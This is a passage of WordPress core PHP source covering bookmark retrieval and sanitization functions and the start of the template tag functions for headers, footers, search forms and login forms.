	global $wpdb;

	if ( empty( $bookmark ) ) {
		if ( isset( $GLOBALS['link'] ) ) {
			$_bookmark = & $GLOBALS['link'];
		} else {
			$_bookmark = null;
		}
	} elseif ( is_object( $bookmark ) ) {
		wp_cache_add( $bookmark->link_id, $bookmark, 'bookmark' );
		$_bookmark = $bookmark;
	} else {
		if ( isset( $GLOBALS['link'] ) && ( $GLOBALS['link']->link_id == $bookmark ) ) {
			$_bookmark = & $GLOBALS['link'];
		} else {
			$_bookmark = wp_cache_get( $bookmark, 'bookmark' );
			if ( ! $_bookmark ) {
				$_bookmark = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark ) );
				if ( $_bookmark ) {
					$_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) );
					wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' );
				}
			}
		}
	}

	if ( ! $_bookmark ) {
		return $_bookmark;
	}

	$_bookmark = sanitize_bookmark( $_bookmark, $filter );

	if ( OBJECT === $output ) {
		return $_bookmark;
	} elseif ( ARRAY_A === $output ) {
		return get_object_vars( $_bookmark );
	} elseif ( ARRAY_N === $output ) {
		return array_values( get_object_vars( $_bookmark ) );
	} else {
		return $_bookmark;
	}
}

/**
 * Retrieves single bookmark data item or field.
 *
 * @since 2.3.0
 *
 * @param string $field    The name of the data field to return.
 * @param int    $bookmark The bookmark ID to get field.
 * @param string $context  Optional. The context of how the field will be used. Default 'display'.
 * @return string|WP_Error
 */
function get_bookmark_field( $field, $bookmark, $context = 'display' ) {
	$bookmark = (int) $bookmark;
	$bookmark = get_bookmark( $bookmark );

	if ( is_wp_error( $bookmark ) ) {
		return $bookmark;
	}

	if ( ! is_object( $bookmark ) ) {
		return '';
	}

	if ( ! isset( $bookmark->$field ) ) {
		return '';
	}

	return sanitize_bookmark_field( $field, $bookmark->$field, $bookmark->link_id, $context );
}

/**
 * Retrieves the list of bookmarks.
 *
 * Attempts to retrieve from the cache first based on MD5 hash of arguments. If
 * that fails, then the query will be built from the arguments and executed. The
 * results will be stored to the cache.
 *
 * @since 2.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string|array $args {
 *     Optional. String or array of arguments to retrieve bookmarks.
 *
 *     @type string   $orderby        How to order the links by. Accepts 'id', 'link_id', 'name', 'link_name',
 *                                    'url', 'link_url', 'visible', 'link_visible', 'rating', 'link_rating',
 *                                    'owner', 'link_owner', 'updated', 'link_updated', 'notes', 'link_notes',
 *                                    'description', 'link_description', 'length' and 'rand'.
 *                                    When `$orderby` is 'length', orders by the character length of
 *                                    'link_name'. Default 'name'.
 *     @type string   $order          Whether to order bookmarks in ascending or descending order.
 *                                    Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'.
 *     @type int      $limit          Amount of bookmarks to display. Accepts any positive number or
 *                                    -1 for all.  Default -1.
 *     @type string   $category       Comma-separated list of category IDs to include links from.
 *                                    Default empty.
 *     @type string   $category_name  Category to retrieve links for by name. Default empty.
 *     @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts
 *                                    1|true or 0|false. Default 1|true.
 *     @type int|bool $show_updated   Whether to display the time the bookmark was last updated.
 *                                    Accepts 1|true or 0|false. Default 0|false.
 *     @type string   $include        Comma-separated list of bookmark IDs to include. Default empty.
 *     @type string   $exclude        Comma-separated list of bookmark IDs to exclude. Default empty.
 *     @type string   $search         Search terms. Will be SQL-formatted with wildcards before and after
 *                                    and searched in 'link_url', 'link_name' and 'link_description'.
 *                                    Default empty.
 * }
 * @return object[] List of bookmark row objects.
 */
function get_bookmarks( $args = '' ) {
	global $wpdb;

	$defaults = array(
		'orderby'        => 'name',
		'order'          => 'ASC',
		'limit'          => -1,
		'category'       => '',
		'category_name'  => '',
		'hide_invisible' => 1,
		'show_updated'   => 0,
		'include'        => '',
		'exclude'        => '',
		'search'         => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	$key   = md5( serialize( $parsed_args ) );
	$cache = wp_cache_get( 'get_bookmarks', 'bookmark' );

	if ( 'rand' !== $parsed_args['orderby'] && $cache ) {
		if ( is_array( $cache ) && isset( $cache[ $key ] ) ) {
			$bookmarks = $cache[ $key ];
			/**
			 * Filters the returned list of bookmarks.
			 *
			 * The first time the hook is evaluated in this file, it returns the cached
			 * bookmarks list. The second evaluation returns a cached bookmarks list if the
			 * link category is passed but does not exist. The third evaluation returns
			 * the full cached results.
			 *
			 * @since 2.1.0
			 *
			 * @see get_bookmarks()
			 *
			 * @param array $bookmarks   List of the cached bookmarks.
			 * @param array $parsed_args An array of bookmark query arguments.
			 */
			return apply_filters( 'get_bookmarks', $bookmarks, $parsed_args );
		}
	}

	if ( ! is_array( $cache ) ) {
		$cache = array();
	}

	$inclusions = '';
	if ( ! empty( $parsed_args['include'] ) ) {
		$parsed_args['exclude']       = '';  // Ignore exclude, category, and category_name params if using include.
		$parsed_args['category']      = '';
		$parsed_args['category_name'] = '';

		$inclinks = wp_parse_id_list( $parsed_args['include'] );
		if ( count( $inclinks ) ) {
			foreach ( $inclinks as $inclink ) {
				if ( empty( $inclusions ) ) {
					$inclusions = ' AND ( link_id = ' . $inclink . ' ';
				} else {
					$inclusions .= ' OR link_id = ' . $inclink . ' ';
				}
			}
		}
	}
	if ( ! empty( $inclusions ) ) {
		$inclusions .= ')';
	}

	$exclusions = '';
	if ( ! empty( $parsed_args['exclude'] ) ) {
		$exlinks = wp_parse_id_list( $parsed_args['exclude'] );
		if ( count( $exlinks ) ) {
			foreach ( $exlinks as $exlink ) {
				if ( empty( $exclusions ) ) {
					$exclusions = ' AND ( link_id <> ' . $exlink . ' ';
				} else {
					$exclusions .= ' AND link_id <> ' . $exlink . ' ';
				}
			}
		}
	}
	if ( ! empty( $exclusions ) ) {
		$exclusions .= ')';
	}

	if ( ! empty( $parsed_args['category_name'] ) ) {
		$parsed_args['category'] = get_term_by( 'name', $parsed_args['category_name'], 'link_category' );
		if ( $parsed_args['category'] ) {
			$parsed_args['category'] = $parsed_args['category']->term_id;
		} else {
			$cache[ $key ] = array();
			wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
			/** This filter is documented in wp-includes/bookmark.php */
			return apply_filters( 'get_bookmarks', array(), $parsed_args );
		}
	}

	$search = '';
	if ( ! empty( $parsed_args['search'] ) ) {
		$like   = '%' . $wpdb->esc_like( $parsed_args['search'] ) . '%';
		$search = $wpdb->prepare( ' AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ', $like, $like, $like );
	}

	$category_query = '';
	$join           = '';
	if ( ! empty( $parsed_args['category'] ) ) {
		$incategories = wp_parse_id_list( $parsed_args['category'] );
		if ( count( $incategories ) ) {
			foreach ( $incategories as $incat ) {
				if ( empty( $category_query ) ) {
					$category_query = ' AND ( tt.term_id = ' . $incat . ' ';
				} else {
					$category_query .= ' OR tt.term_id = ' . $incat . ' ';
				}
			}
		}
	}
	if ( ! empty( $category_query ) ) {
		$category_query .= ") AND taxonomy = 'link_category'";
		$join            = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id";
	}

	if ( $parsed_args['show_updated'] ) {
		$recently_updated_test = ', IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated ';
	} else {
		$recently_updated_test = '';
	}

	$get_updated = ( $parsed_args['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : '';

	$orderby = strtolower( $parsed_args['orderby'] );
	$length  = '';
	switch ( $orderby ) {
		case 'length':
			$length = ', CHAR_LENGTH(link_name) AS length';
			break;
		case 'rand':
			$orderby = 'rand()';
			break;
		case 'link_id':
			$orderby = "$wpdb->links.link_id";
			break;
		default:
			$orderparams = array();
			$keys        = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' );
			foreach ( explode( ',', $orderby ) as $ordparam ) {
				$ordparam = trim( $ordparam );

				if ( in_array( 'link_' . $ordparam, $keys, true ) ) {
					$orderparams[] = 'link_' . $ordparam;
				} elseif ( in_array( $ordparam, $keys, true ) ) {
					$orderparams[] = $ordparam;
				}
			}
			$orderby = implode( ',', $orderparams );
	}

	if ( empty( $orderby ) ) {
		$orderby = 'link_name';
	}

	$order = strtoupper( $parsed_args['order'] );
	if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ), true ) ) {
		$order = 'ASC';
	}

	$visible = '';
	if ( $parsed_args['hide_invisible'] ) {
		$visible = "AND link_visible = 'Y'";
	}

	$query  = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query";
	$query .= " $exclusions $inclusions $search";
	$query .= " ORDER BY $orderby $order";
	if ( -1 != $parsed_args['limit'] ) {
		$query .= ' LIMIT ' . absint( $parsed_args['limit'] );
	}

	$results = $wpdb->get_results( $query );

	if ( 'rand()' !== $orderby ) {
		$cache[ $key ] = $results;
		wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
	}

	/** This filter is documented in wp-includes/bookmark.php */
	return apply_filters( 'get_bookmarks', $results, $parsed_args );
}

/**
 * Sanitizes all bookmark fields.
 *
 * @since 2.3.0
 *
 * @param stdClass|array $bookmark Bookmark row.
 * @param string         $context  Optional. How to filter the fields. Default 'display'.
 * @return stdClass|array Same type as $bookmark but with fields sanitized.
 */
function sanitize_bookmark( $bookmark, $context = 'display' ) {
	$fields = array(
		'link_id',
		'link_url',
		'link_name',
		'link_image',
		'link_target',
		'link_category',
		'link_description',
		'link_visible',
		'link_owner',
		'link_rating',
		'link_updated',
		'link_rel',
		'link_notes',
		'link_rss',
	);

	if ( is_object( $bookmark ) ) {
		$do_object = true;
		$link_id   = $bookmark->link_id;
	} else {
		$do_object = false;
		$link_id   = $bookmark['link_id'];
	}

	foreach ( $fields as $field ) {
		if ( $do_object ) {
			if ( isset( $bookmark->$field ) ) {
				$bookmark->$field = sanitize_bookmark_field( $field, $bookmark->$field, $link_id, $context );
			}
		} else {
			if ( isset( $bookmark[ $field ] ) ) {
				$bookmark[ $field ] = sanitize_bookmark_field( $field, $bookmark[ $field ], $link_id, $context );
			}
		}
	}

	return $bookmark;
}

/**
 * Sanitizes a bookmark field.
 *
 * Sanitizes the bookmark fields based on what the field name is. If the field
 * has a strict value set, then it will be tested for that, else a more generic
 * filtering is applied. After the more strict filter is applied, if the `$context`
 * is 'raw' then the value is immediately return.
 *
 * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'}
 * filter will be called and passed the `$value` and `$bookmark_id` respectively.
 *
 * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value.
 * The 'display' context is the final context and has the `$field` has the filter name
 * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively.
 *
 * @since 2.3.0
 *
 * @param string $field       The bookmark field.
 * @param mixed  $value       The bookmark field value.
 * @param int    $bookmark_id Bookmark ID.
 * @param string $context     How to filter the field value. Accepts 'raw', 'edit', 'db',
 *                            'display', 'attribute', or 'js'. Default 'display'.
 * @return mixed The filtered value.
 */
function sanitize_bookmark_field( $field, $value, $bookmark_id, $context ) {
	$int_fields = array( 'link_id', 'link_rating' );
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

	switch ( $field ) {
		case 'link_category': // array( ints )
			$value = array_map( 'absint', (array) $value );
			/*
			 * We return here so that the categories aren't filtered.
			 * The 'link_category' filter is for the name of a link category, not an array of a link's link categories.
			 */
			return $value;

		case 'link_visible': // bool stored as Y|N
			$value = preg_replace( '/[^YNyn]/', '', $value );
			break;
		case 'link_target': // "enum"
			$targets = array( '_top', '_blank' );
			if ( ! in_array( $value, $targets, true ) ) {
				$value = '';
			}
			break;
	}

	if ( 'raw' === $context ) {
		return $value;
	}

	if ( 'edit' === $context ) {
		/** This filter is documented in wp-includes/post.php */
		$value = apply_filters( "edit_{$field}", $value, $bookmark_id );

		if ( 'link_notes' === $field ) {
			$value = esc_html( $value ); // textarea_escaped
		} else {
			$value = esc_attr( $value );
		}
	} elseif ( 'db' === $context ) {
		/** This filter is documented in wp-includes/post.php */
		$value = apply_filters( "pre_{$field}", $value );
	} else {
		/** This filter is documented in wp-includes/post.php */
		$value = apply_filters( "{$field}", $value, $bookmark_id, $context );

		if ( 'attribute' === $context ) {
			$value = esc_attr( $value );
		} elseif ( 'js' === $context ) {
			$value = esc_js( $value );
		}
	}

	// Restore the type for integer fields after esc_attr().
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

	return $value;
}

/**
 * Deletes the bookmark cache.
 *
 * @since 2.7.0
 *
 * @param int $bookmark_id Bookmark ID.
 */
function clean_bookmark_cache( $bookmark_id ) {
	wp_cache_delete( $bookmark_id, 'bookmark' );
	wp_cache_delete( 'get_bookmarks', 'bookmark' );
	clean_object_term_cache( $bookmark_id, 'link' );
}
<?php
/**
 * General template tags that can go anywhere in a template.
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Loads header template.
 *
 * Includes the header template for a theme or if a name is specified then a
 * specialized header will be included.
 *
 * For the parameter, if the file is called "header-special.php" then specify
 * "special".
 *
 * @since 1.5.0
 * @since 5.5.0 A return value was added.
 * @since 5.5.0 The `$args` parameter was added.
 *
 * @param string $name The name of the specialized header.
 * @param array  $args Optional. Additional arguments passed to the header template.
 *                     Default empty array.
 * @return void|false Void on success, false if the template does not exist.
 */
function get_header( $name = null, $args = array() ) {
	/**
	 * Fires before the header template file is loaded.
	 *
	 * @since 2.1.0
	 * @since 2.8.0 The `$name` parameter was added.
	 * @since 5.5.0 The `$args` parameter was added.
	 *
	 * @param string|null $name Name of the specific header file to use. Null for the default header.
	 * @param array       $args Additional arguments passed to the header template.
	 */
	do_action( 'get_header', $name, $args );

	$templates = array();
	$name      = (string) $name;
	if ( '' !== $name ) {
		$templates[] = "header-{$name}.php";
	}

	$templates[] = 'header.php';

	if ( ! locate_template( $templates, true, true, $args ) ) {
		return false;
	}
}

/**
 * Loads footer template.
 *
 * Includes the footer template for a theme or if a name is specified then a
 * specialized footer will be included.
 *
 * For the parameter, if the file is called "footer-special.php" then specify
 * "special".
 *
 * @since 1.5.0
 * @since 5.5.0 A return value was added.
 * @since 5.5.0 The `$args` parameter was added.
 *
 * @param string $name The name of the specialized footer.
 * @param array  $args Optional. Additional arguments passed to the footer template.
 *                     Default empty array.
 * @return void|false Void on success, false if the template does not exist.
 */
function get_footer( $name = null, $args = array() ) {
	/**
	 * Fires before the footer template file is loaded.
	 *
	 * @since 2.1.0
	 * @since 2.8.0 The `$name` parameter was added.
	 * @since 5.5.0 The `$args` parameter was added.
	 *
	 * @param string|null $name Name of the specific footer file to use. Null for the default footer.
	 * @param array       $args Additional arguments passed to the footer template.
	 */
	do_action( 'get_footer', $name, $args );

	$templates = array();
	$name      = (string) $name;
	if ( '' !== $name ) {
		$templates[] = "footer-{$name}.php";
	}

	$templates[] = 'footer.php';

	if ( ! locate_template( $templates, true, true, $args ) ) {
		return false;
	}
}

/**
 * Loads sidebar template.
 *
 * Includes the sidebar template for a theme or if a name is specified then a
 * specialized sidebar will be included.
 *
 * For the parameter, if the file is called "sidebar-special.php" then specify
 * "special".
 *
 * @since 1.5.0
 * @since 5.5.0 A return value was added.
 * @since 5.5.0 The `$args` parameter was added.
 *
 * @param string $name The name of the specialized sidebar.
 * @param array  $args Optional. Additional arguments passed to the sidebar template.
 *                     Default empty array.
 * @return void|false Void on success, false if the template does not exist.
 */
function get_sidebar( $name = null, $args = array() ) {
	/**
	 * Fires before the sidebar template file is loaded.
	 *
	 * @since 2.2.0
	 * @since 2.8.0 The `$name` parameter was added.
	 * @since 5.5.0 The `$args` parameter was added.
	 *
	 * @param string|null $name Name of the specific sidebar file to use. Null for the default sidebar.
	 * @param array       $args Additional arguments passed to the sidebar template.
	 */
	do_action( 'get_sidebar', $name, $args );

	$templates = array();
	$name      = (string) $name;
	if ( '' !== $name ) {
		$templates[] = "sidebar-{$name}.php";
	}

	$templates[] = 'sidebar.php';

	if ( ! locate_template( $templates, true, true, $args ) ) {
		return false;
	}
}

/**
 * Loads a template part into a template.
 *
 * Provides a simple mechanism for child themes to overload reusable sections of code
 * in the theme.
 *
 * Includes the named template part for a theme or if a name is specified then a
 * specialized part will be included. If the theme contains no {slug}.php file
 * then no template will be included.
 *
 * The template is included using require, not require_once, so you may include the
 * same template part multiple times.
 *
 * For the $name parameter, if the file is called "{slug}-special.php" then specify
 * "special".
 *
 * @since 3.0.0
 * @since 5.5.0 A return value was added.
 * @since 5.5.0 The `$args` parameter was added.
 *
 * @param string      $slug The slug name for the generic template.
 * @param string|null $name Optional. The name of the specialized template.
 * @param array       $args Optional. Additional arguments passed to the template.
 *                          Default empty array.
 * @return void|false Void on success, false if the template does not exist.
 */
function get_template_part( $slug, $name = null, $args = array() ) {
	/**
	 * Fires before the specified template part file is loaded.
	 *
	 * The dynamic portion of the hook name, `$slug`, refers to the slug name
	 * for the generic template part.
	 *
	 * @since 3.0.0
	 * @since 5.5.0 The `$args` parameter was added.
	 *
	 * @param string      $slug The slug name for the generic template.
	 * @param string|null $name The name of the specialized template or null if
	 *                          there is none.
	 * @param array       $args Additional arguments passed to the template.
	 */
	do_action( "get_template_part_{$slug}", $slug, $name, $args );

	$templates = array();
	$name      = (string) $name;
	if ( '' !== $name ) {
		$templates[] = "{$slug}-{$name}.php";
	}

	$templates[] = "{$slug}.php";

	/**
	 * Fires before an attempt is made to locate and load a template part.
	 *
	 * @since 5.2.0
	 * @since 5.5.0 The `$args` parameter was added.
	 *
	 * @param string   $slug      The slug name for the generic template.
	 * @param string   $name      The name of the specialized template or an empty
	 *                            string if there is none.
	 * @param string[] $templates Array of template files to search for, in order.
	 * @param array    $args      Additional arguments passed to the template.
	 */
	do_action( 'get_template_part', $slug, $name, $templates, $args );

	if ( ! locate_template( $templates, true, false, $args ) ) {
		return false;
	}
}

/**
 * Displays search form.
 *
 * Will first attempt to locate the searchform.php file in either the child or
 * the parent, then load it. If it doesn't exist, then the default search form
 * will be displayed. The default search form is HTML, which will be displayed.
 * There is a filter applied to the search form HTML in order to edit or replace
 * it. The filter is {@see 'get_search_form'}.
 *
 * This function is primarily used by themes which want to hardcode the search
 * form into the sidebar and also by the search widget in WordPress.
 *
 * There is also an action that is called whenever the function is run called,
 * {@see 'pre_get_search_form'}. This can be useful for outputting JavaScript that the
 * search relies on or various formatting that applies to the beginning of the
 * search. To give a few examples of what it can be used for.
 *
 * @since 2.7.0
 * @since 5.2.0 The `$args` array parameter was added in place of an `$echo` boolean flag.
 *
 * @param array $args {
 *     Optional. Array of display arguments.
 *
 *     @type bool   $echo       Whether to echo or return the form. Default true.
 *     @type string $aria_label ARIA label for the search form. Useful to distinguish
 *                              multiple search forms on the same page and improve
 *                              accessibility. Default empty.
 * }
 * @return void|string Void if 'echo' argument is true, search form HTML if 'echo' is false.
 */
function get_search_form( $args = array() ) {
	/**
	 * Fires before the search form is retrieved, at the start of get_search_form().
	 *
	 * @since 2.7.0 as 'get_search_form' action.
	 * @since 3.6.0
	 * @since 5.5.0 The `$args` parameter was added.
	 *
	 * @link https://core.trac.wordpress.org/ticket/19321
	 *
	 * @param array $args The array of arguments for building the search form.
	 *                    See get_search_form() for information on accepted arguments.
	 */
	do_action( 'pre_get_search_form', $args );

	$echo = true;

	if ( ! is_array( $args ) ) {
		/*
		 * Back compat: to ensure previous uses of get_search_form() continue to
		 * function as expected, we handle a value for the boolean $echo param removed
		 * in 5.2.0. Then we deal with the $args array and cast its defaults.
		 */
		$echo = (bool) $args;

		// Set an empty array and allow default arguments to take over.
		$args = array();
	}

	// Defaults are to echo and to output no custom label on the form.
	$defaults = array(
		'echo'       => $echo,
		'aria_label' => '',
	);

	$args = wp_parse_args( $args, $defaults );

	/**
	 * Filters the array of arguments used when generating the search form.
	 *
	 * @since 5.2.0
	 *
	 * @param array $args The array of arguments for building the search form.
	 *                    See get_search_form() for information on accepted arguments.
	 */
	$args = apply_filters( 'search_form_args', $args );

	// Ensure that the filtered arguments contain all required default values.
	$args = array_merge( $defaults, $args );

	$format = current_theme_supports( 'html5', 'search-form' ) ? 'html5' : 'xhtml';

	/**
	 * Filters the HTML format of the search form.
	 *
	 * @since 3.6.0
	 * @since 5.5.0 The `$args` parameter was added.
	 *
	 * @param string $format The type of markup to use in the search form.
	 *                       Accepts 'html5', 'xhtml'.
	 * @param array  $args   The array of arguments for building the search form.
	 *                       See get_search_form() for information on accepted arguments.
	 */
	$format = apply_filters( 'search_form_format', $format, $args );

	$search_form_template = locate_template( 'searchform.php' );

	if ( '' !== $search_form_template ) {
		ob_start();
		require $search_form_template;
		$form = ob_get_clean();
	} else {
		// Build a string containing an aria-label to use for the search form.
		if ( $args['aria_label'] ) {
			$aria_label = 'aria-label="' . esc_attr( $args['aria_label'] ) . '" ';
		} else {
			/*
			 * If there's no custom aria-label, we can set a default here. At the
			 * moment it's empty as there's uncertainty about what the default should be.
			 */
			$aria_label = '';
		}

		if ( 'html5' === $format ) {
			$form = '<form role="search" ' . $aria_label . 'method="get" class="search-form" action="' . esc_url( home_url( '/' ) ) . '">
				<label>
					<span class="screen-reader-text">' .
					/* translators: Hidden accessibility text. */
					_x( 'Search for:', 'label' ) .
					'</span>
					<input type="search" class="search-field" placeholder="' . esc_attr_x( 'Search &hellip;', 'placeholder' ) . '" value="' . get_search_query() . '" name="s" />
				</label>
				<input type="submit" class="search-submit" value="' . esc_attr_x( 'Search', 'submit button' ) . '" />
			</form>';
		} else {
			$form = '<form role="search" ' . $aria_label . 'method="get" id="searchform" class="searchform" action="' . esc_url( home_url( '/' ) ) . '">
				<div>
					<label class="screen-reader-text" for="s">' .
					/* translators: Hidden accessibility text. */
					_x( 'Search for:', 'label' ) .
					'</label>
					<input type="text" value="' . get_search_query() . '" name="s" id="s" />
					<input type="submit" id="searchsubmit" value="' . esc_attr_x( 'Search', 'submit button' ) . '" />
				</div>
			</form>';
		}
	}

	/**
	 * Filters the HTML output of the search form.
	 *
	 * @since 2.7.0
	 * @since 5.5.0 The `$args` parameter was added.
	 *
	 * @param string $form The search form HTML output.
	 * @param array  $args The array of arguments for building the search form.
	 *                     See get_search_form() for information on accepted arguments.
	 */
	$result = apply_filters( 'get_search_form', $form, $args );

	if ( null === $result ) {
		$result = $form;
	}

	if ( $args['echo'] ) {
		echo $result;
	} else {
		return $result;
	}
}

/**
 * Displays the Log In/Out link.
 *
 * Displays a link, which allows users to navigate to the Log In page to log in
 * or log out depending on whether they are currently logged in.
 *
 * @since 1.5.0
 *
 * @param string $redirect Optional path to redirect to on login/logout.
 * @param bool   $display  Default to echo and not return the link.
 * @return void|string Void if `$display` argument is true, log in/out link if `$display` is false.
 */
function wp_loginout( $redirect = '', $display = true ) {
	if ( ! is_user_logged_in() ) {
		$link = '<a href="' . esc_url( wp_login_url( $redirect ) ) . '">' . __( 'Log in' ) . '</a>';
	} else {
		$link = '<a href="' . esc_url( wp_logout_url( $redirect ) ) . '">' . __( 'Log out' ) . '</a>';
	}

	if ( $display ) {
		/**
		 * Filters the HTML output for the Log In/Log Out link.
		 *
		 * @since 1.5.0
		 *
		 * @param string $link The HTML link content.
		 */
		echo apply_filters( 'loginout', $link );
	} else {
		/** This filter is documented in wp-includes/general-template.php */
		return apply_filters( 'loginout', $link );
	}
}

/**
 * Retrieves the logout URL.
 *
 * Returns the URL that allows the user to log out of the site.
 *
 * @since 2.7.0
 *
 * @param string $redirect Path to redirect to on logout.
 * @return string The logout URL. Note: HTML-encoded via esc_html() in wp_nonce_url().
 */
function wp_logout_url( $redirect = '' ) {
	$args = array();
	if ( ! empty( $redirect ) ) {
		$args['redirect_to'] = urlencode( $redirect );
	}

	$logout_url = add_query_arg( $args, site_url( 'wp-login.php?action=logout', 'login' ) );
	$logout_url = wp_nonce_url( $logout_url, 'log-out' );

	/**
	 * Filters the logout URL.
	 *
	 * @since 2.8.0
	 *
	 * @param string $logout_url The HTML-encoded logout URL.
	 * @param string $redirect   Path to redirect to on logout.
	 */
	return apply_filters( 'logout_url', $logout_url, $redirect );
}

/**
 * Retrieves the login URL.
 *
 * @since 2.7.0
 *
 * @param string $redirect     Path to redirect to on log in.
 * @param bool   $force_reauth Whether to force reauthorization, even if a cookie is present.
 *                             Default false.
 * @return string The login URL. Not HTML-encoded.
 */
function wp_login_url( $redirect = '', $force_reauth = false ) {
	$login_url = site_url( 'wp-login.php', 'login' );

	if ( ! empty( $redirect ) ) {
		$login_url = add_query_arg( 'redirect_to', urlencode( $redirect ), $login_url );
	}

	if ( $force_reauth ) {
		$login_url = add_query_arg( 'reauth', '1', $login_url );
	}

	/**
	 * Filters the login URL.
	 *
	 * @since 2.8.0
	 * @since 4.2.0 The `$force_reauth` parameter was added.
	 *
	 * @param string $login_url    The login URL. Not HTML-encoded.
	 * @param string $redirect     The path to redirect to on login, if supplied.
	 * @param bool   $force_reauth Whether to force reauthorization, even if a cookie is present.
	 */
	return apply_filters( 'login_url', $login_url, $redirect, $force_reauth );
}

/**
 * Returns the URL that allows the user to register on the site.
 *
 * @since 3.6.0
 *
 * @return string User registration URL.
 */
function wp_registration_url() {
	/**
	 * Filters the user registration URL.
	 *
	 * @since 3.6.0
	 *
	 * @param string $register The user registration URL.
	 */
	return apply_filters( 'register_url', site_url( 'wp-login.php?action=register', 'login' ) );
}

/**
 * Provides a simple login form for use anywhere within WordPress.
 *
 * The login form HTML is echoed by default. Pass a false value for `$echo` to return it instead.
 *
 * @since 3.0.0
 *
 * @param array $args {
 *     Optional. Array of options to control the form output. Default empty array.
 *
 *     @type bool   $echo           Whether to display the login form or return the form HTML code.
 *                                  Default true (echo).
 *     @type string $redirect       URL to redirect to. Must be absolute, as in "https://example.com/mypage/".
 *                                  Default is to redirect back to the request URI.
 *     @type string $form_id        ID attribute value for the form. Default 'loginform'.
 *     @type string $label_username Label for the username or email address field. Default 'Username or Email Address'.
 *     @type string $label_password Label for the password field. Default 'Password'.
 *     @type string $label_remember Label for the remember field. Default 'Remember Me'.
 *     @type string $label_log_in   Label for the submit button. Default 'Log In'.
 *     @type string $id_username    ID attribute value for the username field. Default 'user_login'.
 *     @type string $id_password    ID attribute value for the password field. Default 'user_pass'.
 *     @type string $id_remember    ID attribute value for the remember field. Default 'rememberme'.
 *     @type string $id_submit      ID attribute value for the submit button. Default 'wp-submit'.
 *     @type bool   $remember       Whether to display the "rememberme" checkbox in the form.
 *     @type string $value_username Default value for the username field. Default empty.
 *     @type bool   $value_remember Whether the "Remember Me" checkbox should be checked by default.
 *                                  Default false (unchecked).
 *
 * }
 * @return void|string Void if 'echo' argument is true, login form HTML if 'echo' is false.
 */
function wp_login_form( $args = array() ) {
	$defaults = array(
		'echo'           => true,
		// Default 'redirect' value takes the user back to the request URI.
		'redirect'       => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
		'form_id'        => 'loginform',
		'label_username' => __( 'Username or Email Address' ),
		'label_password' => __( 'Password' ),
		'label_remember' => __( 'Remember Me' ),
		'label_log_in'   => __( 'Log In' ),
		'id_username'    => 'user_login',
		'id_password'    => 'user_pass',
		'id_remember'    => 'rememberme',
		'id_submit'      => 'wp-submit',
		'remember'       => true,
		'value_username' => '',
		// Set 'value_remember' to true to default the "Remember me" checkbox to checked.
		'value_remember' => false,
	);

	/**
	 * Filters the default login form output arguments.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_login_form()
	 *
	 * @param array $defaults An array of default login form arguments.
	 */
	$args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) );

	/**
	 * Filters content to display at the top of the login form.
	 *
	 * The filter evaluates just following the opening form tag element.
	 *
	 * @since 3.0.0
	 *
	 * @param string $content Content to display. Default empty.
	 * @param array  $args    Array of login form arguments.
	 */
	$login_form_top = apply_filters( 'login_form_top', '', $args );

	/**
	 * Filters content to display in the middle of the login form.
	 *
	 * The filter evaluates just following the location where the 'login-password'
	 * field is displayed.
	 *
	 * @since 3.0.0
	 *
	 * @param string $content Content to display. Default empty.
	 * @param array  $args    Array of login form arguments.
	 */
	$login_form_middle = apply_filters( 'login_form_middle', '', $args );

	/**
	 * Filters content to display at the bottom of the login form.
	 *
	 * The filter evaluates just preceding the closing form tag element.
	 *
	 * @since 3.0.0
	 *
	 * @param string $content Content to display. Default empty.
	 * @param array  $args    Array of login form arguments.
	 */
	$login_form_bottom = apply_filters( 'login_form_bottom', '', $args );

	$form =
		sprintf(
			'<form name="%1$s" id="%1$s" action="%2$s" method="post">',
			esc_attr( $args['form_id'] ),
			esc_url( site_url( 'wp-login.php', 'login_post' ) )
		) .
		$login_form_top .
		sprintf(
			'<p class="login-username">
				<label for="%1$s">%2$s</label>
				<input type="text" name="log" id="%1$s" autocomplete="username" class="input" value="%3$s" size="20" />
			</p>',
			esc_attr( $args['id_username'] ),
			esc_html( $args['label_username'] ),
			esc_attr( $args['value_username'] )
		) .
		sprintf(
			'<p class="login-password">
				<label for="%1$s">%2$s</label>
				<input type="password" name="pwd" id="%1$s" autocomplete="current-password" spellcheck="false" class="input" value="" size="20" />
			</p>',
			esc_attr( $args['id_password'] ),
			esc_html( $args['label_password'] )
		) .
		$login_form_middle .
		( $args['remember'] ?
			sprintf(
				'<p class="login-remember"><label><input name="rememberme" type="checkbox" id="%1$s" value="forever"%2$s /> %3$s</label></p>',
				esc_attr( $args['id_remember'] ),
				( $args['value_remember'] ? ' checked="checked"' : '' ),
				esc_html( $args['label_remember'] )
			) : ''
		) .
